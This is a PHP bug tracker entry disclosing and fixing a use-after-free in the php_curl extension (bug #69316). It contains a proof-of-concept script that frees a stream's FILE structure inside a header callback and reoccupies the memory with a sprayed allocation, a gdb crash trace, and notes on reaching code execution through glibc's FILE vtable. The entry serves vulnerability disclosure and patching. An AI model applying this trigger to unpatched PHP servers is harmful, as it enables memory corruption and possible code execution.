php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69316 Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER
Submitted: 2015-03-27 12:05 UTC Modified: 2015-04-14 07:28 UTC
From: bugs at themadbat dot com Assigned: stas (profile)
Status: Closed Package: cURL related
PHP Version: Irrelevant OS: Linux, Windows
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: bugs at themadbat dot com
New email:
PHP Version: OS:

 

 [2015-03-27 12:05 UTC] bugs at themadbat dot com
Description:
------------
All the relevant code mentioned below is in ext/curl/interface.c.
As far as I can see, every PHP version after (at least) 5.0 is affected; possibly older versions too.

When using CURLOPT_WRITEHEADER, CURLOPT_INFILE or CURLOPT_FILE, in _php_curl_setopt, the provided stream is cast to a stdio FILE*:

if (FAILURE == php_stream_cast((php_stream *) what, PHP_STREAM_AS_STDIO, (void *) &fp, REPORT_ERRORS)) {
	return FAILURE;
}

This FILE* is then stored in the php_curl structure "ch", at the following locations, depending on which CURLOPT_ was used:
- ch->handlers->write->fp = fp;
- ch->handlers->write_header->fp = fp;
- ch->handlers->read->fp = fp;

Upon curl_exec(), _php_curl_verify_handlers() is called, which verifies if the user-set stream(s) are still open, and resets ->fp to 0 if they are not.

However, there are a number of curl callbacks we can use to close the stream after _php_curl_verify_handlers() has been called, resulting in the FILE* being free()'d. By allocating memory that ends up a the same address where the FILE structure was, its possible to achieve arbitrary code execution.

The following functions use *->fp without checking if the corresponding streams are still open (and thus if *->fp still points to a valid FILE structure or not):
- static size_t curl_write(char *data, size_t size, size_t nmemb, void *ctx)
- static size_t curl_read(char *data, size_t size, size_t nmemb, void *ctx)
- static size_t curl_write_header(char *data, size_t size, size_t nmemb, void *ctx)
- curl_exec (after curl processing is finished, there are 2 fflush() calls)

On Linux, with PHP linked against GLIBC, arbitrary code execution is trivial, since FILE structures conveniently have a "vtable" full of function pointers which we now control.
On Windows, exploitability depends on the version of the C runtime being used. Recent MS C runtimes keep a cache of FILE structures (they aren't free()'d upon fclose()), which complicates things.

Please see the test script attached, tested against:
- 64-bit PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:47:39) 
- 32-bit PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03) 
- 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG)   - custom build with ./configure --with-curl --enable-debug

Test script:
---------------
<?php
function hdr_callback($ch, $data) {
    global $f_file;

    if ($f_file) {
    	// close the stream, causing the FILE structure to be free()'d
        fclose($f_file); $f_file = 0;

        // cause an allocation of approx the same size as a FILE structure, size varies a bit depending on platform/libc
        $FILE_size = (PHP_INT_SIZE == 4 ? 0x160 : 0x238);
        curl_setopt($ch, CURLOPT_COOKIE, str_repeat("a", $FILE_size - 1));
    }

    return strlen($data);
}

$ch = curl_init('http://www.php.net/');
$f_file = fopen("body", "w") or die("failed to open file\n");
curl_setopt($ch, CURLOPT_BUFFERSIZE, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, "hdr_callback");
curl_setopt($ch, CURLOPT_FILE, $f_file);
curl_exec($ch);
?>

Expected result:
----------------
Segmentation fault.

Actual result:
--------------
sergio@ubuntu:/php-5.6.7-32$ gdb sapi/cli/php -ex 'r test.php'

Reading symbols from sapi/cli/php...done.
Starting program: /php-5.6.7-32/sapi/cli/php test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff151b700 (LWP 29817)]
[Thread 0x7ffff151b700 (LWP 29817) exited]

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6d90dbf in __GI__IO_fwrite (buf=0x11178e9, size=1, count=1, fp=0x111fc70) at iofwrite.c:41

(gdb) bt
#0  0x00007ffff6d90dbf in __GI__IO_fwrite (buf=0x11178e9, size=1, count=1, fp=0x111fc70) at iofwrite.c:41
#1  0x000000000057e7f9 in curl_write (data=0x11178e9 "<", size=<optimized out>, nmemb=<optimized out>, ctx=0x7ffff7fc7550) at /php-5.6.7/ext/curl/interface.c:1303
#2  0x00007ffff70fba70 in Curl_client_write (conn=conn@entry=0x1129400, type=type@entry=1, ptr=0x11178e9 "<", len=1) at sendf.c:441
#3  0x00007ffff71101e0 in readwrite_data (done=0x7fffffffae07, didwhat=<synthetic pointer>, k=0x1117078, conn=0x1129400, data=0x1117000) at transfer.c:720
#4  Curl_readwrite (conn=0x1129400, done=done@entry=0x7fffffffae07) at transfer.c:1039
#5  0x00007ffff711932c in multi_runsingle (multi=multi@entry=0x1116860, now=..., data=data@entry=0x1117000) at multi.c:1479
#6  0x00007ffff7119ad1 in curl_multi_perform (multi_handle=multi_handle@entry=0x1116860, running_handles=running_handles@entry=0x7fffffffaec4) at multi.c:1752
#7  0x00007ffff7111233 in easy_transfer (multi=0x1116860) at easy.c:705
#8  easy_perform (events=false, data=0x1117000) at easy.c:784
#9  curl_easy_perform (easy=0x1117000) at easy.c:803
#10 0x00000000005836a8 in zif_curl_exec (ht=<optimized out>, return_value=0x7ffff7fc6f38, return_value_ptr=<optimized out>, this_ptr=<optimized out>, return_value_used=<optimized out>) at /php-5.6.7/ext/curl/interface.c:2966
#11 0x000000000083b5d8 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:558
#12 0x0000000000840e49 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:2595
#13 0x000000000083ac47 in execute_ex (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:363
#14 0x000000000083acd0 in zend_execute (op_array=0x7ffff7fc5428) at /php-5.6.7/Zend/zend_vm_execute.h:388
#15 0x00000000007f6aa3 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /php-5.6.7/Zend/zend.c:1341
#16 0x000000000075d181 in php_execute_script (primary_file=0x7fffffffd560) at /php-5.6.7/main/main.c:2597
#17 0x00000000008a915e in do_cli (argc=2, argv=0xf7b7a0) at /php-5.6.7/sapi/cli/php_cli.c:994
#18 0x00000000008aa48c in main (argc=2, argv=0xf7b7a0) at /php-5.6.7/sapi/cli/php_cli.c:1378

(gdb) info reg
rax            0x0      0
rbx            0x111fc70        17955952
rcx            0x111fc70        17955952
rdx            0x7ffff7fce780   140737353934720
rsi            0x1      1
rdi            0x11178e9        17922281
rbp            0x1      0x1
rsp            0x7fffffffac30   0x7fffffffac30
r8             0x6161616161616161       7016996765293437281			<---- sprayed memory
r9             0x11178e9        17922281
r10            0x7fffffffaa20   140737488333344
r11            0x7ffff6d90d80   140737334807936
r12            0x1      1
r13            0x1      1
r14            0x11178e9        17922281
r15            0x0      0
rip            0x7ffff6d90dbf   0x7ffff6d90dbf <__GI__IO_fwrite+63>
eflags         0x10246  [ PF ZF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

Patches

bug69316.patch (last revision 2015-03-30 02:55 UTC by laruence@php.net)

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-03-30 02:55 UTC] laruence@php.net
The following patch has been added/updated:

Patch Name: bug69316.patch
Revision:   1427684111
URL:        https://bugs.php.net/patch-display.php?bug=69316&patch=bug69316.patch&revision=1427684111
 [2015-03-30 02:56 UTC] laruence@php.net
so, basically, we need call verify_handlers after every external user function is called.

a patch is attached.
 [2015-04-06 05:20 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2015-04-14 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=0ea75af9be8a40836951fc89f723dd5390b8b46f
Log: Fixed bug #69316 (Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER)
 [2015-04-14 07:29 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2015-04-14 08:31 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=0ea75af9be8a40836951fc89f723dd5390b8b46f
Log: Fixed bug #69316 (Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER)
 [2015-04-14 08:31 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=cb0d325066486efafde8d9c324e083ac3d10a174
Log: Fixed bug #69316 (Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER)
 [2015-04-15 08:43 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=f0ff43ec8123125f385a65c13452fdf25072ef44
Log: Fixed bug #69316 (Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 17:01:29 2024 UTC